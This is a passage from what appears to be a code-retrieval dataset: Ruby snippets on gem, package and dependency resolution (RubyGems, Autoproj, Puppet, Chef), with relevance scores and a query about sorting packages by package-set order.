|r| r.dependency.name }\n needed = names.find_all { |d| !@data.key?(d) }\n\n return if needed.empty?\n\n uri = @dep_uri + \"?gems=#{needed.sort.join ','}\"\n str = Gem::RemoteFetcher.fetcher.fetch_path uri\n\n Marshal.load(str).each do |ver|\n @data[ver[:name]] << ver\n end\n end", "def runtime_dependencies\n dependencies.select(&:runtime?)\n end", "def packages\n return @packages if @packages\n\n @packages = resolve_packages.map do |pkg|\n next if ignored?(pkg)\n\n package_set = pkg.kind_of? Autoproj::InstallationManifest::PackageSet\n pkg = pkg.to_h\n local_dir = if package_set\n pkg[:raw_local_dir]\n else\n pkg[:importdir] || pkg[:srcdir]\n end\n\n Autoproj::Daemon::PackageRepository.new(\n pkg[:name] || pkg[:package_set],\n pkg[:vcs],\n package_set: package_set,\n local_dir: local_dir,\n ws: ws\n )\n end.compact\n @packages\n end", "def dependent_specs\n runtime_dependencies.map {|dep| dep.to_specs }.flatten\n end", "def partition_dependencies(dependencies, gem_dir)\n system_specs, local_specs, missing_deps = [], [], []\n if gem_dir && File.directory?(gem_dir)\n gem_dir = File.expand_path(gem_dir)\n ::Gem.clear_paths; ::Gem.path.unshift(gem_dir)\n ::Gem.source_index.refresh!\n dependencies.each do |dep|\n gemspecs = ::Gem.source_index.search(dep)\n local = gemspecs.reverse.find { |s| s.loaded_from.index(gem_dir) == 0 }\n if local\n local_specs << local\n elsif gemspecs.last\n system_specs << gemspecs.last\n else\n missing_deps << dep\n end\n end\n ::Gem.clear_paths\n else\n dependencies.each do |dep|\n gemspecs = ::Gem.source_index.search(dep)\n if gemspecs.last\n system_specs << gemspecs.last\n else\n missing_deps << dep\n end\n end\n end\n [system_specs, local_specs, missing_deps]\n end", "def legitimize! deps = entries\n specs = []\n\n deps.flatten.each do |dep|\n spec = case dep\n when Gem::Dependency then\n begin\n dep.to_spec\n rescue Gem::LoadError\n nil\n end\n when Isolate::Entry then\n dep.specification\n else\n raise \"unknown dep: #{dep.inspect}\"\n end\n\n if spec then\n specs.concat legitimize!(spec.runtime_dependencies)\n specs << spec\n end\n end\n\n specs.uniq\n end", "def get_gem_names\n fetcher = Gem::SpecFetcher.fetcher\n\n list, = fetcher.available_specs(:complete)\n\n tuples = list.values.first\n\n tuples.map do |tuple,|\n tuple = tuple.to_a\n case tuple.last\n when Gem::Platform::RUBY then\n tuple[0, 2]\n else\n tuple\n end.join '-'\n end\n end", "def read_facts_packages_installed(packages)\n packages_installed = {}\n packages.each do |package, opts|\n packages_installed[package] = check_package_installed(package, opts)\n end\n\n packages_installed\nend", "def vendor_dependencies\n fetch_bundler\n bundle_install\n end", "def dependencies\n return @dependencies unless @dependencies.nil?\n @dependencies = [ ]\n lockfile.each_line do |line|\n if line =~ /^\\s{4}([-\\w_.0-9]+)\\s*\\((.*)\\)/\n @dependencies << [$1, $2]\n end\n end\n @dependencies\n end", "def get_all_requires(code = @code)\n if code.is_a?(Array) then\n requires = (code.select { |sub| is_require?(sub) }).map! do |sub|\n get_require(sub)\n end\n code.each do |sub|\n requires += get_all_requires(sub)\n end\n return requires\n else\n return []\n end\n end", "def gem_requirements_from_array(what, array)\n array.map do |dep|\n Gem::Dependency.new(what, *dep)\n end\n end", "def collect_requires src\n src.scan(/^[\\t ]*require[ \\t]*['\"](.*?)['\"]/).collect { |x| x[0] }\n end", "def walk_down_dependencies(pkg_name, known_deps=Array.new)\n\talldeps = Array.new\n\t@total_deps[pkg_name].each { |m|\n\t\tunless alldeps.include?(m) || m.nil? || known_deps.include?(m) \n\t\t\talldeps = alldeps + walk_down_dependencies(m, alldeps)\n\t\tend\n\t\talldeps.push m\n\t}\n\talldeps.uniq!\n\talldeps.push pkg_name\n\t# puts alldeps.join(\", \") \n\treturn alldeps.compact \nend", "def get_release_packages\n get_local_constraints\n\n if !@force && @installed.include?(@module_name)\n\n raise AlreadyInstalledError,\n :module_name => @module_name,\n :installed_version => @installed[@module_name].first.version,\n :requested_version => @version || (@conditions[@module_name].empty? ? :latest : :best),\n :local_changes => @installed[@module_name].first.local_changes\n end\n\n if @ignore_dependencies && @source == :filesystem\n @urls = {}\n @remote = { \"#{@module_name}@#{@version}\" => { } }\n @versions = {\n @module_name => [\n { :vstring => @version, :semver => SemVer.new(@version) }\n ]\n }\n else\n get_remote_constraints\n end\n\n @graph = resolve_constraints({ @module_name => @version })\n @graph.first[:tarball] = @filename if @source == :filesystem\n resolve_install_conflicts(@graph) unless @force\n\n # This clean call means we never \"cache\" the module we're installing, but this\n # is desired since module authors can easily rerelease modules different content but the same\n # version number, meaning someone with the old content cached will be very confused as to why\n # they can't get new content.\n # Long term we should just get rid of this caching behavior and cleanup downloaded modules after they install\n # but for now this is a quick fix to disable caching\n Puppet::Forge::Cache.clean\n download_tarballs(@graph, @graph.last[:path])\n end", "def get_packages(adb_opts = {})\n packages = []\n run_adb_shell(\"pm list packages -f\", adb_opts) do |pout|\n pout.each do |line|\n @log.debug(\"{stdout} #{line}\") unless @log.nil?\n parts = line.split(\":\")\n if (parts.length > 1)\n info = parts[1].strip.split(\"=\")\n package = AndroidAdb::Package.new(info[1], info[0]);\n packages << package;\n end\n end\n end\n return packages\n end", "def package_depends_on\n depends_on\n end", "def collect_dependencies(dependency, known_dependencies: {})\n dep_spec = dependency.matching_specs\n return known_dependencies if dep_spec.empty?\n\n dep_spec = dep_spec.first\n known_dependencies[dep_spec.name] = dep_spec.version\n dep_spec.dependencies.each do |dep|\n unless known_dependencies.has_key?(dep.name)\n collect_dependencies(dep, known_dependencies: known_dependencies)\n end\n end\n known_dependencies\n end", "def default_packages(validate = true)\n if has_layout?\n layout_packages(validate)\n else\n result = PackageSelection.new\n all_package_names.each do |pkg_name|\n package_type, package_name = resolve_single_package_name(pkg_name).first\n next if excluded?(package_name) || ignored?(package_name)\n\n result.select(package_name, package_name, osdep: (package_type == :osdeps))\n end\n result\n end\n end", "def dependencies(gemfile)\n dependencies = { }\n\n File.open(gemfile) do |f|\n f.each do |line|\n if (line.match(/\\Agem\\s+['\"]bundler['\"]\\s*,\\s*['\"]([^'\"]+)['\"]/))\n dependencies[:bundler] = $1\n elsif (line.match(/\\A\\#\\s*rubygems\\s+(\\S+)/))\n dependencies[:rubygems] = $1\n end\n end\n end\n\n dependencies\nend", "def install_dependencies\n recipe_eval do\n run_context.include_recipe 'chef-sugar::default'\n run_context.include_recipe 'build-essential::default'\n\n case node.platform_family\n when 'debian'\n package 'curl'\n package 'git-core'\n package 'libxml2-dev'\n package 'libxslt-dev'\n package 'zlib1g-dev'\n package 'ncurses-dev'\n package 'libssl-dev'\n when 'freebsd'\n package 'textproc/libxml2'\n package 'textproc/libxslt'\n package 'devel/ncurses'\n when 'mac_os_x'\n run_context.include_recipe 'homebrew::default'\n package 'libxml2'\n package 'libxslt'\n package 'openssl'\n when 'rhel'\n package 'curl'\n package 'bzip2'\n package 'file'\n package 'git'\n package 'libxml2-devel'\n package 'libxslt-devel'\n package 'ncurses-devel'\n package 'zlib-devel'\n package 'openssl-devel'\n end\n end\n end", "def remote_dependencies(gem_name, _version)\n conn = Faraday.new(url: 'https://rubygems.org') do |h|\n h.headers[:content_type] = 'application/x-www-form-urlencoded'\n h.request :url_encoded\n h.adapter :excon\n end\n response = conn.get(\"/api/v1/gems/#{gem_name}.json\")\n dep_list = MultiJson.load(response.body)\n dep_list['dependencies'].values.flatten.map do |j|\n Gem::Dependency.new(\n j['name'],\n Gem::Requirement.new(j['requirements'].split(','))\n )\n end\n end", "def extra_gem_requirements(gem)\n gem_reqs = gem.deps.collect { |d| requirements_for_gem(d.name) }.flatten\n gem_requirements - gem_reqs\n end", "def extra_gem_requirements(gem)\n gem_reqs = gem.deps.collect { |d| requirements_for_gem(d.name) }.flatten\n gem_requirements - gem_reqs\n end", "def package_selection(selection,\n force_update: nil,\n patch_dir: nil,\n package_set_dir: nil,\n use_remote_repository: false)\n sync_packages = {}\n selected_gems = []\n\n selection.each_with_index do |pkginfo, i|\n pkg_name = pkginfo.name\n pkg = pkginfo.pkg\n\n Autoproj.message \"Packaging #{pkg_name} (#{i + 1}/#{selection.size})\", :green\n # Making sure all packages that require base/cmake due to using Rock CMake macros have\n # a dependency on base/cmake\n if File.file?(File.join(pkg.srcdir, \"CMakeLists.txt\"))\n cmakelists_txt = File.read(File.join(pkg.srcdir, \"CMakeLists.txt\"))\n if cmakelists_txt =~ /include\\(Rock\\)|Rock\\.cmake/ || cmakelists_txt =~ /find_package\\(Rock\\)/\n pkg.depends_on \"base/cmake\" unless pkg.name == \"base/cmake\"\n end\n end\n\n begin\n options = {:force_update => force_update, :patch_dir => patch_dir, :package_set_dir => package_set_dir}\n if !use_remote_repository\n options[:existing_source_dir] = pkg.srcdir\n end\n # just to update the required gem property\n selected_gems.concat pkginfo.dependencies[:extra_gems]\n\n # Perform the actual packaging\n package(pkginfo, options)\n\n sync_packages[pkg_name] = { :debian_name => debian_name(pkginfo),\n :build_deps => build_dependencies(pkginfo),\n :type => :package\n }\n rescue Interrupt\n raise\n rescue Exception => e\n Apaka::Packaging.warn \"failed to package #{pkg.name}: #{e.message} #{e.backtrace}\"\n next\n end\n end\n [sync_packages, selected_gems.uniq]\n end", "def gems\n @gems ||= begin\n gems = locks.dup\n gems.each do |name, g|\n if gem_declarations.has_key?(name)\n g[:declared_groups] = gem_declarations[name][:groups]\n else\n g[:declared_groups] = []\n end\n g[:groups] = g[:declared_groups].dup\n end\n # Transitivize groups (since dependencies are already transitive, this is easy)\n gems.each do |name, g|\n g[:dependencies].each do |dep|\n gems[dep][:groups] |= gems[name][:declared_groups].dup\n end\n end\n gems\n end\n end", "def elm_dependencies(package)\n ElmPackage.dependencies elm_package_path(package)\n rescue\n {}\n end", "def fetch_dependencies(verbose=false)\n say \"Fetching packages from remote...\" if verbose\n exp_deps = find_non_local_dependencies(all_dependencies, true)\n core_fetch_dependencies(exp_deps, verbose)\n end", "def dependencies\n []\n end", "def dependency_tree(args = {}, &bl)\n dependencies = {}\n args = {:recursive => true,\n :dev_deps => true,\n :matching => :latest,\n :dependencies => dependencies}.merge(args)\n\n process = []\n deps.each do |dep|\n resolved = nil\n begin\n resolved = Polisher::Gem.matching(dep, args[:matching])\n rescue\n end\n yield self, dep, resolved\n process << resolved unless resolved.nil?\n end\n\n process.each { |dep|\n dependencies.merge!(dep.dependency_tree(args, &bl))\n }\n\n dependencies\n end", "def check_dependencies\n fetch_module_dependencies.map do |dependency, constraint|\n dependency = dependency.sub('-', '/')\n current = dependency == @updated_module ? SemanticPuppet::Version.parse(@updated_module_version) : @forge.get_current_version(dependency)\n [dependency, constraint, current, constraint.include?(current)]\n end\n end" ]
[ "0.77298677", "0.72714794", "0.7250696", "0.7127303", "0.71207535", "0.7077105", "0.704143", "0.7013395", "0.6951496", "0.68665373", "0.6862412", "0.68473154", "0.68436426", "0.6808034", "0.6795668", "0.6795668", "0.6768334", "0.6701491", "0.66967195", "0.6682353", "0.6672993", "0.66653967", "0.66506255", "0.6614067", "0.659088", "0.6588088", "0.6570916", "0.65651006", "0.65649545", "0.6557458", "0.65256864", "0.6522264", "0.65207404", "0.65098286", "0.6458189", "0.6453669", "0.6414989", "0.64139515", "0.6412778", "0.63955814", "0.6389933", "0.63768625", "0.6368122", "0.6368122", "0.636102", "0.6356847", "0.6355729", "0.63441044", "0.63350016", "0.63302726", "0.6322284", "0.63013315", "0.6297654", "0.6292173", "0.6290926", "0.62783337", "0.62763935", "0.62692124", "0.6247086", "0.62402743", "0.6230397", "0.6214739", "0.621304", "0.6209774", "0.6207883", "0.6196534", "0.61904407", "0.6188978", "0.6172006", "0.61706865", "0.61694384", "0.6168408", "0.6138541", "0.61322063", "0.6126571", "0.61182564", "0.6114213", "0.61124396", "0.6112257", "0.6110436", "0.61071336", "0.6099366", "0.6093819", "0.60902256", "0.6084098", "0.6077127", "0.60736984", "0.6072597", "0.60724163", "0.60682607", "0.6067199", "0.6060532", "0.604284", "0.604284", "0.6038016", "0.6036242", "0.6031685", "0.6031269", "0.6028016", "0.6023763", "0.6016135" ]
0.0
-1
Sort by package set order can be used with any packages array of objects providing a name(), that is, works with both autobuild packages and PackageInfos returns a sorted array populated from elements of packages
def sort_by_package_sets(packages, pkg_set_order) raise RuntimeError, "#{self.class} needs to overwrite sort_by_package_sets" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def sort_obj\n [@name, @version, Gem::Platform.sort_priority(@new_platform)]\n end", "def lookup(package_name)\n pkgs = @rpms[package_name]\n if pkgs\n pkgs.sort.reverse\n else\n nil\n end\n end", "def install_order(arr)\n pairs = {}\n queue = []\n sorted = [] \n arr.each do |pair|\n pairs[pair[0]] = pair[1]\n end \n packages = (1..pairs.keys.max).to_a\n packages.each do |package|\n if !pairs.keys.include?(package)\n queue.push(package)\n end \n end \n\n until queue.empty?\n package = queue.shift \n sorted.push(package)\n neighbors = []\n\n pairs.each do |key, value|\n if value == package\n neighbors.push(key)\n pairs.delete(key)\n end \n end\n neighbors.each do |package|\n if !pairs.keys.include?(package)\n queue.push(package)\n end \n end \n end \n\n if packages.length == sorted.length \n return sorted\n else \n return []\n end \nend", "def install_order(arr)\n result = []\n\n hash_pkg = Hash.new {|k,v| v = []}\n\n arr.each do |tup|\n hash_pkg[tup[0]] += [tup[1]]\n end\n\n (1..hash_pkg.keys.max).each do |pkg|\n result << pkg unless hash_pkg.keys.include?(pkg)\n end\n\n\n until hash_pkg.empty?\n hash_pkg.each do |pkg, dep|\n if dep.all? {|d| result.include?(d)}\n result << pkg\n hash_pkg.delete(pkg)\n end\n end\n end\n\n result\nend", "def packages\n Dir[File.join($__HELLO_DIR__, 'packages/*/*.yml')]\n .map do |yml|\n info = YAML.load File.read yml\n info['dir'] = File.dirname yml if info\n info\n end\n .select {|p| p }\n .sort_by {|p| p['priority'] || 10 }\nend", "def sort\n @entries = DependencySorter.new(@entries).sorted_items\n end", "def install_order(arr)\n vertices = []\n dependencies = Hash.new([])\n\n # find max_id\n max_id = 0\n arr.each do |package|\n max_id = package[0] if package[0] > max_id\n max_id = package[1] if package[1] > max_id\n\n # map dependencies\n dependencies[package[0]] += [package[1]]\n end\n\n # complete the set\n (1..max_id).each do |n|\n dependencies[n] = [] unless dependencies[n].length > 0\n end\n\n # push to output\n until vertices.length == max_id\n dependencies.each do |k, depends|\n next if depends.nil?\n depends.reject! {|el| dependencies[el].nil?}\n if depends.empty?\n vertices << k\n dependencies[k] = nil\n end\n end\n end\n vertices\n\nend", "def sorted_bugs\n @errata.bugs.sort_by do |bug|\n [\n # First sort by component name, case insensitive (i guess)\n bug.package.name_sort_with_docs_last.downcase,\n # Next by priority, highest first\n bug.priority_order,\n ]\n end\n end", "def ordered_by_deps(apps, processed = Set[])\n ordered = []\n apps.each do |tag, info|\n next if processed.include?(tag)\n\n if deps = Array(info[\"depends-on\"])\n dep_apps = {}\n deps.each do |dep|\n dep_apps[dep] = apps[dep]\n end\n\n processed.add(tag)\n\n ordered += ordered_by_deps(dep_apps, processed)\n ordered << info\n else\n ordered << info\n processed.add(tag)\n end\n end\n\n ordered.each { |app| app.delete(\"depends-on\") }\n\n ordered\n end", "def all_package_names\n each_autobuild_package.map(&:name)\n end", "def differentiate(packages)\n named_groups = Hash.new{|h,k| h[k] = []}\n packages.each{|p| named_groups[p.name] << p }\n named_groups.each do |name, packages| \n if packages.length > 1\n packages.each{|p| p.name = \"#{p.name} (#{p.paths.first})\"} \n end\n end\n end", "def sort_composer\n @ole.SortComposer\n end", "def init_gemspecs\n Gem.source_index.map { |_, spec| spec }.sort { |a,b|\n\t(a.name <=> b.name).nonzero? || (b.version <=> a.version)\n }\n end", "def sort_dependencies!(params)\n params.each do |x|\n next unless [:require, :before, :notify, :subscribe].include?(x[0])\n if x[1].class == Array\n x[1].sort!\n end\n end\n end", "def install_order(arr)\n max = 0\n vertices = {}\n arr.each do |tuple|\n #create the graph\n vertices[touple[0]] = Vertex.new(touple[0]) unless vertices[tuple[0]]\n vertices[tuple[1]] = Vertex.new(tuple[1]) unless vertices[tuple[1]]\n\n #reset max if needed\n max = tuple.max if tuple.max > max\n end\n\n #find the missing packages\n independent = []\n (1..max).each do |i|\n independent << i unless vertices[i]\n end\n #sort the vertices of the graph and add the missing packages\n independent + topolocical_sort(vertices.values).map { |v| v.value }\nend", "def packages\n packages = []\n @repositories.each do |repo|\n repo_packages = repo.packages\n repo_packages.map { |p| packages.push(p) } unless repo_packages.empty?\n end\n packages\n end", "def install_order(arr)\n vertices = {}\n max = 0\n\n arr.each do |(package, dependency)|\n local_max = [package, dependency].max\n max = local_max if local_max > max\n vertices[package] = Vertex.new(package) unless vertices[package]\n vertices[dependency] = Vertex.new(dependency) unless vertices[dependency]\n Edge.new(vertices[dependency], vertices[package])\n end\n\n max.times do |i|\n vertices[i+1] = Vertex.new(i+1) unless vertices[i+1]\n end\n\n topological_sort(vertices.values).map { |vertex| vertex.value}\nend", "def find_package_set(name)\n each_package_set.find { |set| set.name == name }\n end", "def sort_entries(file_data)\n submodules = []\n file_data.scan(/(^\\[submodule[^\\n]+\\n)((?:\\t[^\\n]+\\n)+)/).each do |head, body|\n path = body.match(/^\\tpath\\s*=\\s*\\K(.+)$/)[0]\n submodules << [path, head + body]\n end\n submodules.sort! { |a,b| a[0] <=> b[0] }\n submodules.collect { |i| i[1] }\nend", "def sorted_files\n sort_file_name_by_semver(all_files.select { |f| semver_file?(f) })\n end", "def dependency_order\n sorted = strongly_connected_components.flatten\n\n result = []\n seen = {}\n\n sorted.each do |spec|\n if index = seen[spec.name] then\n if result[index].version < spec.version then\n result[index] = spec\n end\n else\n seen[spec.name] = result.length\n result << spec\n end\n end\n\n result.reverse\n end", "def install_order2(arr)\n arr.select! {|el| el[1] }\n hash = {}\n arr.each do |package|\n hash[package[0]] = Vertex.new(package[0]) unless hash[package[0]]\n hash[package[1]] = Vertex.new(package[1]) unless hash[package[1]]\n Edge.new(hash[package[1]],hash[package[0]])\n end\n topological_sort(hash.values).map {|vert| vert.value }\nend", "def topo_sort(dependencies) # tarjan's algorithm\n dependencies.default = [] # no need for #default_proc because array never gets mutated\n seen = {}\n ordering = []\n dependencies.keys.each do |vertex|\n resolve!(vertex, dependencies, ordering, seen) unless seen[vertex]\n end\n ordering\nend", "def find_packages\n declared_packages.collect do |package|\n guess = ::Albacore::PackageRepo.new(%w|./packages ./src/packages|).find_latest package.id\n debug \"#{name}: guess: #{guess} [albacore: project]\"\n guess\n end\n end", "def sort(array_of_nodes, order); end", "def dependencies(pkg)\n pkg.resolve_optional_dependencies\n deps_rock_packages = pkg.dependencies.map do |pkg_name|\n debian_name(Autoproj.manifest.package(pkg_name).autobuild)\n end.sort\n\n pkg_osdeps = Autoproj.osdeps.resolve_os_dependencies(pkg.os_packages)\n # There are limitations regarding handling packages with native dependencies\n #\n # Currently gems need to converted into debs using gem2deb\n # These deps dependencies are updated here before uploading a package\n # \n # Generation of the debian packages from the gems can be done in postprocessing step\n # i.e. see convert_gems\n \n deps_osdeps_packages = []\n native_package_manager = Autoproj.osdeps.os_package_handler\n _, native_pkg_list = pkg_osdeps.find { |handler, _| handler == native_package_manager }\n\n deps_osdeps_packages += native_pkg_list if native_pkg_list\n\n # Update global list\n @osdeps += deps_osdeps_packages\n\n non_native_handlers = pkg_osdeps.collect do |handler, pkg_list|\n if handler != native_package_manager\n [handler, pkg_list]\n end\n end.compact\n\n non_native_handlers.each do |pkg_handler, pkg_list|\n # Convert native ruby gems package names to rock-xxx \n if pkg_handler.kind_of?(Autoproj::PackageManagers::GemManager)\n pkg_list.each do |name,version|\n @ruby_gems << [name,version]\n deps_osdeps_packages << debian_ruby_name(name)\n end\n else\n raise ArgumentError, \"cannot package #{pkg.name} as it has non-native dependencies (#{pkg_list}) -- #{pkg_handler.class} #{pkg_handler}\"\n end\n end\n\n # Remove duplicates\n @osdeps.uniq!\n @ruby_gems.uniq!\n\n # Return rock packages and osdeps\n [deps_rock_packages, deps_osdeps_packages]\n end", "def package_names_for_targets\n package_names_for_targets = []\n target_version_array.each_with_index do |target_version, i|\n if !target_version.nil?\n package_name = package_name_array[i]\n package_names_for_targets.push(package_name)\n else\n package_names_for_targets.push(nil) if allow_nils?\n end\n end\n multipackage? ? package_names_for_targets : package_names_for_targets[0]\n end", "def sorted_deps\n dep_names = (dependencies.keys + dependencies_development.keys).uniq\n ret = []\n\n dep_names.each do |dep_name|\n dep = local_deps.find { |x| x.name == dep_name }\n add_sorted_dep(dep, local_deps, :both, ret)\n end\n ret\n end", "def packages\n @packages ||= []\n end", "def packages\n @packages ||= []\n end", "def packages()\n\t\t\t\tpackages = installed_packages()\n\n\t\t\t\tpackagelist = `#{@finkbin} list -n`\n\n\t\t\t\tpackagelist.each_line() { |line|\n\t\t\t\t\tlinearr = line.split()\n\t\t\t\t\tpackages[linearr[0]] = PackageInfo.new()\n\t\t\t\t\tpackages[linearr[0]].name = linearr[0]\n\t\t\t\t\tpackages[linearr[0]].version = linearr[1]\n\t\t\t\t\tpackages[linearr[0]].description = linearr[2]\n\t\t\t\t}\n\n\t\t\t\treturn(packages)\n\t\t\tend", "def packages\n Autoproj.warn_deprecated \"use #each_package instead\"\n each_package.to_a\n end", "def find_package_set_by_name(name)\n @package_sets[name]\n end", "def sort_by_dependencies\n visited = Hash[dependencies.keys.map {|k| [k, false]}]\n in_call_stack = {}\n dependencies.each_pair do |job, dependency|\n return if error\n helper(visited, in_call_stack, job) unless visited[job]\n end\n result\n end", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def go_pkg_deps(pkgs, root_path)\n deps = []\n pkgs.each do |pkg|\n deps << pkg\n `go list -f '{{ join .Deps \"\\\\n\"}}' #{pkg}`.split(\"\\n\").select do |path|\n if path.start_with? root_path\n deps << path\n end\n end\n end\n return deps.sort.uniq\nend", "def packages\n ::Packages::Package.all\n end", "def listpackages\n packages = []\n\n @repository.categories.each do |category|\n Architecture.dataset(category).each do |entry|\n source = Architecture.new(entry[:architecture], entry[:component], entry[:suitename], category)\n source.files.each do |fullname|\n package = Package.new(fullname, entry[:suitename], entry[:component])\n packages << {\n :fullname => fullname,\n :category => category,\n :basename => File.basename(fullname),\n :controlfile => package.controlfile,\n :component => entry[:component],\n :suitename => entry[:suitename],\n :architecture => entry[:architecture]\n }\n end\n end\n if category.eql? \"stage\"\n Component.dataset(category).each do |entry|\n source = Component.new(entry[:component], entry[:suitename], category)\n source.files.each do |fullname|\n package = Package.new(fullname, entry[:suitename], entry[:component])\n packages << {\n :fullname => fullname,\n :category => category,\n :basename => File.basename(fullname),\n :controlfile => package.controlfile,\n :component => entry[:component],\n :suitename => entry[:suitename],\n :architecture => \"unknown\"\n }\n end\n end\n end\n end\n packages\n end", "def get_sorted_module_list( classes )\n\t\tnscounts = classes.keys.inject({}) do |counthash, name|\n\t\t\ttoplevel = name.gsub( /::.*/, '' )\n\t\t\tcounthash[toplevel] ||= 0\n\t\t\tcounthash[toplevel] += 1\n\t\t\t\n\t\t\tcounthash\n\t\tend\n\n\t\t# Sort based on how often the toplevel namespace occurs, and then on the name \n\t\t# of the module -- this works for projects that put their stuff into a \n\t\t# namespace, of course, but doesn't hurt if they don't.\n\t\treturn classes.keys.sort_by do |name| \n\t\t\ttoplevel = name.gsub( /::.*/, '' )\n\t\t\t[\n\t\t\t\tnscounts[ toplevel ] * -1,\n\t\t\t\tname\n\t\t\t]\n\t\tend\n\tend", "def get_sorted_module_list( classes )\n\t\tnscounts = classes.keys.inject({}) do |counthash, name|\n\t\t\ttoplevel = name.gsub( /::.*/, '' )\n\t\t\tcounthash[toplevel] ||= 0\n\t\t\tcounthash[toplevel] += 1\n\t\t\t\n\t\t\tcounthash\n\t\tend\n\n\t\t# Sort based on how often the toplevel namespace occurs, and then on the name \n\t\t# of the module -- this works for projects that put their stuff into a \n\t\t# namespace, of course, but doesn't hurt if they don't.\n\t\treturn classes.keys.sort_by do |name| \n\t\t\ttoplevel = name.gsub( /::.*/, '' )\n\t\t\t[\n\t\t\t\tnscounts[ toplevel ] * -1,\n\t\t\t\tname\n\t\t\t]\n\t\tend\n\tend", "def sort_features_by_dep\n dep_links = dependency_links\n graph = DepGraph.new(dep_links)\n sorted_deps = graph.tsort\n\n all_sorted = sorted_deps.map(&:dependee)\n @sorted_features = all_sorted.reject { |f| f.feature.anonymous? }\n end", "def packages\n @packages ||= begin\n publish_packages = []\n build_packages = FileSyncer.glob(@pattern).map { |path| Package.new(path) }\n\n if @options[:platform_mappings]\n # the platform map is a simple hash with publish to build platform mappings\n @options[:platform_mappings].each_pair do |build_platform, publish_platforms|\n # Splits `ubuntu-12.04-x86_64` into `ubuntu`, `12.04` and `x86_64`\n build_platform, build_platform_version, build_architecture = build_platform.split(\"-\")\n\n # locate the package for the build platform\n packages = build_packages.select do |p|\n p.metadata[:platform] == build_platform &&\n p.metadata[:platform_version] == build_platform_version &&\n p.metadata[:arch] == build_architecture\n end\n\n if packages.empty?\n log.warn(log_key) do\n \"Could not locate a package for build platform #{build_platform}-#{build_platform_version}-#{build_architecture}. \" \\\n \"Publishing will be skipped for: #{publish_platforms.join(\", \")}\"\n end\n end\n\n publish_platforms.each do |publish_platform|\n publish_platform, publish_platform_version, publish_architecture = publish_platform.split(\"-\")\n\n packages.each do |p|\n # create a copy of our package before mucking with its metadata\n publish_package = p.dup\n publish_metadata = p.metadata.dup.to_hash\n\n # override the platform, platform version and architecture in the metadata\n publish_metadata[:platform] = publish_platform\n publish_metadata[:platform_version] = publish_platform_version\n publish_metadata[:arch] = publish_architecture\n\n # Set the updated metadata on the package object\n publish_package.metadata = Metadata.new(publish_package, publish_metadata)\n\n publish_packages << publish_package\n end\n end\n end\n else\n publish_packages.concat(build_packages)\n end\n\n if publish_packages.empty?\n log.info(log_key) { \"No packages found, skipping publish\" }\n end\n\n publish_packages\n end\n end", "def main_package_set\n each_package_set.find(&:main?)\n end", "def dependencies(name)\n dependencies = []\n submodule = submodule(name)\n if submodule.has_key?(:dependencies)\n submodule[:dependencies].each do |dependency|\n dependencies << dependency\n dependencies << dependencies(dependency)\n end\n end\n\n dependencies.flatten.uniq.sort\n end", "def find_package_by_name(name)\n @packages[name]\n end", "def sorted(tasks)\r\n tasks.sort_by {|task| task[\"priority\"]}\r\nend", "def best_package_matching(patterns)\n patterns = [patterns] unless patterns.kind_of?(Enumerable)\n patterns.each do |pattern|\n packages = search_packages(pattern)\n next if packages.empty? \n best = packages.sort_by { |key, value|\n [\n pattern.kind_of?(Regexp) ? ((key.index(pattern) == 0) ? 1 : 0) :\n ((key == pattern) ? 1 : 0),\n value.split(/[.-]/)\n ]\n }.last \n return { :name => best.first, :version => best.last }\n end\n nil\n end", "def packages(*names)\n names.empty? ? @packages : @packages = names\n end", "def sorted_versions(versions)\n versions.blank? ? [] : versions.map { |val| val['number'] }.version_sort\nend", "def packages\n return @packages if @packages\n\n @packages = resolve_packages.map do |pkg|\n next if ignored?(pkg)\n\n package_set = pkg.kind_of? Autoproj::InstallationManifest::PackageSet\n pkg = pkg.to_h\n local_dir = if package_set\n pkg[:raw_local_dir]\n else\n pkg[:importdir] || pkg[:srcdir]\n end\n\n Autoproj::Daemon::PackageRepository.new(\n pkg[:name] || pkg[:package_set],\n pkg[:vcs],\n package_set: package_set,\n local_dir: local_dir,\n ws: ws\n )\n end.compact\n @packages\n end", "def install_order(arr)\n values = (1..arr.flatten.max).to_a\n vertices = values.map { |val| Vertex.new(val) }\n\n arr.each do |tuple|\n dependency = vertices[tuple[1] - 1]\n package = vertices[tuple[0] - 1]\n Edge.new(dependency, package)\n end\n\n topological_sort(vertices).map(&:value)\nend", "def sorted_tags\n tags.order(:name)\n end", "def sorted_alchemy_modules\n sorted = []\n not_sorted = []\n alchemy_modules.map do |m|\n if m[\"position\"].blank?\n not_sorted << m\n else\n sorted << m\n end\n end\n sorted.sort_by { |m| m[\"position\"] } + not_sorted\n end", "def install_order(arr)\n\nend", "def libraries_order\n order = [:Ruby_]\n order.unshift(:Statistics2_) if has_statistics2?\n order.unshift(:GSL_) if has_gsl?\n order.unshift(:Java_) if has_java?\n order\n end", "def reverse_dependencies(name)\n reverse_dependencies = []\n submodules.each do |submodule|\n next if submodule[:name] == name\n\n reverse_dependencies << submodule[:name] if dependencies(submodule[:name]).include?(name)\n end\n\n reverse_dependencies.flatten.uniq.sort\n end", "def run_package_for_specified(bundle_info)\n if $options[:buildAll]\n info 'Packaging all dependencies'\n\n $toPackageDeps = []\n\n all_dependencies.each do |dep|\n files = dep.getInstalledFiles\n\n $toPackageDeps.push dep.Name if files && !files.empty?\n end\n\n puts $toPackageDeps.to_s\n end\n\n package_dependencies $toPackageDeps, bundle_info\nend", "def sort_dependencies(dependencies, activated, conflicts)\n dependencies.sort_by do |dependency|\n name = name_for(dependency)\n [\n activated.vertex_named(name).payload ? 0 : 1,\n conflicts[name] ? 0 : 1,\n activated.vertex_named(name).payload ? 0 : graph.versions(dependency.name).count,\n ]\n end\n end", "def sorted(tasks)\n tasks.sort_by {|task| task[:priority]}\nend", "def sort_by_type!\n children.sort! do |x, y|\n if x.is_a?(PBXGroup) && y.is_a?(PBXFileReference)\n -1\n elsif x.is_a?(PBXFileReference) && y.is_a?(PBXGroup)\n 1\n else\n x.display_name <=> y.display_name\n end\n end\n end", "def walk_down_dependencies(pkg_name, known_deps=Array.new)\n\talldeps = Array.new\n\t@total_deps[pkg_name].each { |m|\n\t\tunless alldeps.include?(m) || m.nil? || known_deps.include?(m) \n\t\t\talldeps = alldeps + 